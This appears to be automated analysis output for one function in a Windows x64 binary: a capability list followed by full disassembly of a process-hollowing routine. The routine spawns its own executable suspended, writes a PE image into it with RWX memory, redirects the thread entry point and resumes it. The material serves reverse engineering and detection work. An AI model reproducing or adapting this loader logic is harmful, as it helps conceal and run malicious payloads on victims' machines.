Function at 0x1400968c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push rbx
push rdi
sub rsp, 0x508
mov rax, qword [0x1402a7978]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
movsxd rbx, dword [rcx + 0x3c]
xorps xmm1, xmm1
xor eax, eax
add rbx, rcx
xorps xmm0, xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0xd0], rax
mov rdi, rcx
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
cmp dword [rbx], 0x4550
jne 0x140096b1e
mov r8d, 0x104
mov qword [rsp + 0x500], r13
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r13d, r13d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r13
xor edx, edx
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140096b16
lea edx, [r13 + 8]
mov qword [rsp + 0x530], rsi
xor ecx, ecx
lea r9d, [r13 + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140096b0e
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x538], r12
mov qword [rsp + 0x4f8], r14
mov qword [rsp + 0x4f0], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, rdi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r15, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14d, r13d
cmp r13w, word [rbx + 6]
jae 0x140096ac1
mov qword [rsp + 0x528], rbp
mov ebp, r13d
movsxd rax, dword [rdi + 0x3c]
mov rcx, qword [rsp + 0x50]
add rax, rbp
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rdi + 0x11c]
mov edx, dword [rax + rdi + 0x114]
add r8, rdi
mov r9d, dword [rax + rdi + 0x118]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r14
add rbp, 0x28
cmp r14, rax
jb 0x140096a50
mov rbp, qword [rsp + 0x528]
mov eax, dword [rbx + 0x28]
mov rdx, rsi
add rax, r15
mov qword [rsi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x4f0]
xor eax, eax
mov r14, qword [rsp + 0x4f8]
mov r12, qword [rsp + 0x538]
mov rsi, qword [rsp + 0x530]
mov r13, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.140156510
add rsp, 0x508
pop rdi
pop rbx
ret